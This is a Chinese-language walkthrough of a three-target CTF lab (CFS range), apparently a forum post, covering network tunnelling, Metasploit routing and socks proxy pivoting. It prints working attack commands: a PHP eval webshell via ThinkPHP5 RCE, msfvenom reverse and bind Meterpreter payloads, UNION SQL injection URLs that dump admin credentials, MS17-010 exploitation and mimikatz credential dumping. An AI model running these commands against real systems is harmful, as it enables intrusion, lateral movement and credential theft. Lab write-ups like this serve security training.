隧道穿透与端口转发

什么是隧道?
在渗透测试中,进入内网后,我们要判断流量是否能够出的去、进的来。
在实际的网络情况下,流量会经过很多的边界设备,在一般的企业内网中,可能会存在 IDP、IPS、防火墙等设备,如果异常的话,就会直接将通信阻断;这里我们说的隧道,就是绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方通信。当被封装的数据包达到了另外的地址的时候,解包还原,并将还原后的数据包发送到相应的服务器上。

常见的隧道包括三个大类:网络层、应用层、传输层

这里则是通过cfs靶场来学习一下隧道穿透漫游

CFS-模拟大赛

来源2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结尾。

前提配置:
下面利用ifconfig来配置网卡的IP地址,当然这个地址是临时的地址,一旦重启网络服务或者重启网络系统就会失效的!!
格式:ifconfig ethx IP/MASK:配置某个网卡的ip地址
例如:设置eth0的IP地址为x.x.x.x,则就可以在命令行下直接键入:ifconfig eth0 192.168.22.22/24

虚拟机上创建vlan分配ip地址

注:我这里Target1地址是192.168.3.117,Target2地址是192.168.22.102
Target1上需要配置宝塔 账号eaj3yhsl 密码41bb8fee
1.这里得添加Target1的ip地址

Target2上需要配置宝塔 账号xdynr37d 密码123qwe..
1.这里得添加Target2的IP地址

Target1:

探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限-获取Flag-Target2
前期信息搜集:
1.先利用kali自带的dirb来扫描网站目录,发现robots.txt找到一个flag

2.之后在访问Index.php 会发现网站是一个thinkphp框架

3.大胆的猜测一下这个网站有没有可能存在ThinkPHP5.x远程连接命令执行漏洞,一测试发现还真有直接命令执行上马

4.首先整出这个网站的绝对路径,这是方便写一句话木马

pwd
echo '<?php eval($_POST['x']);?>' > /www/wwwroot/ThinkPHP/pu
4.1此时发现大马已经存在,直接菜刀连接大马

5.名为x.php密码为x的大马兄弟以上线

kali开启msf:

1.利用菜刀将生成后门放到Target1的主机上:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=kali本机地址 LPORT=1111 -f elf >t1.elf

2.kali上的msf设置监听模块以此来接收反弹:

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST kali本机地址
set LPORT 1111
exploit
background

3.利用菜刀的虚拟终端运行木马
上传成功之后,运行木马,如果权限不够

chmod +777 t1.elf           增加权限
t1.elf                      执行木马

4.kali上接收到msf反弹

5.之后在上msf上添加22网段的路由

获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24

6.如果我们liunx没有对target利用特别好的工具,我们想用外网windows的工具就开启socks代理
开启本地代理:

kali  msf运行下面命令
use auxiliary/server/socks_proxy
set srvport 1080
exploit

7.在windows上创建sock代理

8.设置msf创建的端口

9.测试联通性

10.然后在选择要代理的exe ,这里是选择软件所在的目录选择软件

11.由于我们要利用kali上面的工具,所以这里就要设置kali的代理,配置kali的proxychains4.conf,然后在最底下添加msf开启的socks5 和ip端口

12.利用kali查找22网段的端口,最后会爆出22.102的网段80端口开启
其一:

proxychains nmap -sT -Pn 192.168.22.0/24 -p80
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

其二方法:
利用msf中自带的端口扫描

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.22.0/24
set threads 100
run

Target2:

探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取
信息收集:
1.我们通过nmap或者msf自带的端口扫描工具查找到192.168.22.102存在80端口也就是网页,之后再来访问网页来获取一些信息
2.没有见过的cms一般这里是直接扫网站目录,可以使用sockscap软件作为代理添加御剑或者别的扫描工具来扫描

3.扫描出他的后台,一般这里是测试登录框的注入点或者看源代码找接口未授权访问,这里都没有

4.他就比较狗,在主页里面的源代码中有一个提示

5.很明确的告诉我们这是个sql注入点
5.1 其一工具:这个时候就要请出我们的超级sql工具!!!!!!!

5.2 在工具上添加socks5的代理

5.3 再来注入右击直接空白处选择生成数据包

5.4 使用他自己的识别注入

5.5 然后依次来获取库 表 列  数据 获取到的数据是个md5加密,之后去MD5加解密的网站上解密密码是123qwe

6.其二手工注入:
6.1 '报错 "正常 很明显 字符型注入

6.2 就一直' order by 这样查有多列,会发现有到39无显示,到40有报错,就证明有39个表

%23是#的url编码过来的

6.3 在利用Union select 联合注入来找数据库,数据库名叫bagecms
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129185420-cfeae478-80f1-1.png)

    6.4 就是通常的sql注入手段获取bagecms之后的所有表名
```view-source:http://192.168.22.102/index.php?r=vul&keyword=1' union select group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema='bagecms' %23

6.5 再来查找bage_admin所有的列

view-source:http://192.168.22.102/index.php?r=vul&keyword=1' union select group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name='bage_admin' %23

6.6 最后一步查找账号密码

view-source:http://192.168.22.102/index.php?r=vul&keyword=1' union select username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bagecms.bage_admin limit 0,1%23

7.账号密码有了,后面就是利用账号密码来进入后台找上传点写个马,显然下一步的时候都会有一个flag

8.到后台的时候看到有这个模板就发现可以修改默认文件,啊 就算你不知道修改,你非要找个上传点,就得找这个上传设置给搞一下添加php后缀

9.朴实的渗透,写个马进去

10.用sockscap软件添加一个caidao的代理,然后一连

11.不要问我为什么要加?r=tag 因为我们在修改index.php的时候 是在tag的文件夹下面修改的,这是一个小细节

12.然后就起飞了,拿到target主机二的web权限,这里就跟target1一样了 弄一个正向连接kali的大马子
往这上面一传一执行,msf一上线,添加33网段,在一扫描网络,找他的服务器、端口,利用漏洞,啪的一下拿下,恩姆思路太清晰了

这里解释一下为什么要整一个正向连接的后门,因为我们开始的3网段只有一个22网段的路由,没有33网段的路由,所以并不能连接到33网段的路由,记住此时我们已经拿到target2的web服务器,我们要将这个后门放到他的服务器上,执行这个后门来连接我们的msf,之后msf会反弹回targer2的权限,接下来就可以顺理成章的添加33网段路由

target3

1.生成正向后门:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

2.访问接受:
kali上运行
use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp bind正向连接 set rhost 192.168.22.102 set LPORT 3333 exploit

2.1 t2没有t1的3网段的地址,如果生成之前payload 绑定的3网段的木马 木马反向连接不上

所以这个时候需要生成正向连接后门 bind

2.2 上传这个后门,在执行

2.3 msf接收到之后就开始老生常谈添加路由

3.信息收集及配置访问
获取网络接口:run get_local_subnets 查看路由地址:run autoroute -p 添加路由地址:run autoroute -s 192.168.33.0/24

4.之后在添加一个socks的代理,然后换个端口,因为我们的msf添加了33网段,所以kali可以通过kali-》target1--》target2--》查找target3的ip和端口

use auxiliary/server/socks_proxy
set srvport 1081
run

4.1 之后再Kali上面添加一个ip

sudo vi /etc/proxychains4.conf

5.有了代理就可以探测存活主机了,发现了33.33一台存活主机
use auxiliary/scanner/portscan/tcp set rhosts 192.168.33.0/24 set threads 200 run

渗透target3主机:
探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG
1.在通过nmap来扫描33.33存在的端口
proxychains nmap -Pn -sT -T4192.168.33.33 kali上扫描

2.最后有445和3389端口,这明显就是win7的机子,大胆一点猜猜是否有永恒之蓝漏洞

3.测试33.33的机子上是否存在永恒之蓝漏洞(很明显存在漏洞)
use auxiliary/scanner/smb/smb_ms17_010 //判断漏洞 set rhosts 192.168.33.33 //设置ip地址 run

4.目标以确定开始攻击,啪的一下很快啊,就直接拿到system权限
use exploit/windows/smb/ms17_010_psexec //验证漏洞 set payload windows/meterpreter/bind_tcp //正向连接 set RHOSTS 192.168.33.33 //攻击目标 set RHOST 192.168.33.33 //连接目标 exploit

5.到了这一步剩下的思路就很清晰,提权然后获取账号密码连接远程桌面
getsystem //获得system权限 load mimikatz //导入mimikatz creds_all //获取全部信息

6.利用kali来远程登录win7主机

7.嗯,机子很香,下次不需在用了

总结:
这个靶场可以学习到如何一步步利用跳板代理横向到最深处网络。
Thinkphp5.x Rce漏洞利用,三种利用方式,以及echo写马的注意事项
MSF添加路由和socks代理,将Linux主机作为跳板从而横向移动
八哥CMS的漏洞利用Getshell,sql注入-->后台管理登陆,后台模板Getshell
Ms17-010的psexec利用模块的使用
典型的三层网络环境,通过利用MSF强大的路由功能,不断添加路由+socks代理,横向移动到最后一层网络
SocksCap64小红帽软件代理工具的使用

后记:本人初学内网安全,技术有些生疏,如果有错误的地方请各位大佬点播一下。

点击收藏 | 3 关注 | 2
登录 后跟帖